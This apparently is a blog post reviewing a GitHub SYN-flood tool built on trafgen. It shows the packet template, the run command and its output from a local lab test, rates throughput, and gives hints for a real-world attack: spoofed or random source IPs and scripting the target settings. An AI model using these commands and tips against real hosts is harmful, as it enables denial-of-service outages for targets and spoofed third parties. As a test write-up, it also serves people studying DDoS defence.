Testing GitHub DDoS Tools #3: synflood.trafgen
I’m continuing examining DDoS tools found on github, you can find my previous posts here.
#3 Tool for the search term “DDoS” on github is actually an Anti-DDoS tool, which doesn’t do much more than drop a few bogons and ports; it’s not much fun.
So I’ll skip that as it’s not an attack tool — let’s look at the next one, wenfengshi/ddos-dos-tools! This repo has 427 stars and 229 forks, but the README.md is chinese.
I’ll split in different parts, #3.1 will be “SynFlood”:
This looks like a very default syn-flood, but uses trafgen from netsniff-ng, a toolset which I like a lot — you can install it via yum or apt. trafgen can reach very good performance, unlike many other syn flooders out there.
The downside of the approach here is that one needs to manually adjust MAC source and destination + IP source & destination, but this could be trivially done via a bash script using a template:
/* NEED ADJUST */
0x12, 0x34, 0x56, 0x78, 0x90, 0xab, # MAC Destination
0xcd, 0xef, 0x01, 0x23, 0x45, 0x67, # MAC Source[...]/* NEED ADJUST */
192, 168, 0, drnd(1), # Source IP
192, 168, 0, 2, # Dest IP
I used 192.168.0.RANDOM as source and my local IP 192.168.0.2 as victim, so traffic / backscatter isn’t getting blasted to the internet. For a real-world attack the MAC destination would be the local gateway and source IP would probably be completely random (unless…one wants to pretend to be google’s 8.8.8.8 or something else to really annoy a DDoS target).
Get dercraig’s stories in your inbox
Join Medium for free to get updates from this writer.
The tools starts smoothly:
# trafgen --cpp --dev eth0 --conf synflood.trafgen --cpu 2 --verbose
[0] pkt
len 60 cnts 0 rnds 9
payload 12 34 56 78 90 ab cd ef 01 23 45 67 08 00 45 00 00 2e 00 00 40 00 40 06 00 00 c0 a8 00 00 c0 a8 00 02 00 00 00 50 00 00 00 00 00 00 00 00 50 02 00 10 00 00 00 00 53 59 4e 73 77 66
rnd0 off 18
rnd1 off 19
rnd2 off 29
rnd3 off 34
rnd4 off 35
rnd5 off 38
rnd6 off 39
rnd7 off 40
rnd8 off 41
2 packets to schedule
120 bytes in total
Running! Hang up with ^C!Enabled kernel qdisc bypass
Enabled kernel qdisc bypass
TX,V2: 0.50 MiB, 256 Frames, each 2048 Byte allocated
TX,V2: 0.50 MiB, 256 Frames, each 2048 Byte allocated
^C
2337467 packets outgoing
140248020 bytes outgoing
4 sec, 436058 usec on CPU0 (23316 packets)
4 sec, 435219 usec on CPU1 (2314151 packets)
It can create 1 million packets per second (Mpps) on my old i5–7600 workstation, probably line-rate on a modern server with 10GBit/s interface. Impressive! This can freeze your average Linux system and might cause considerable downtime for a target.
However, after stopping and starting it multiple times, the system running trafgen completely freezed. I’ve had this happen with multiple network card vendors, different systems. I can’t rule out it’s a mistake on my side, please ping me on twitter if you know the reason for it.
Rating 3.5/5:
The idea to (ab)use trafgen for syn flooding is interesting and throughput is very good. However it crashes the attacking system after a while (make sure you have IPMI when testing with physical, remote servers), so I’m substracting 1 point for that. Another 0.5 points are lost, because it’s annoying to manually adjust the target settings of the tool. But it’s probably a good thing this tool isn’t as script-kiddie-friendly as it could be. ;)
If you want to test how your own site is prepared against DDoS, check out https://www.ddos-test.com !
Interested in more? Buy the best book on DDoS on the Market:
Via Amazon: https://www.amazon.de/DDoS-Understanding-Real-Life-Mitigation-Strategies/dp/3819226214/
Learn more about the book here: https://ddos-book.com/
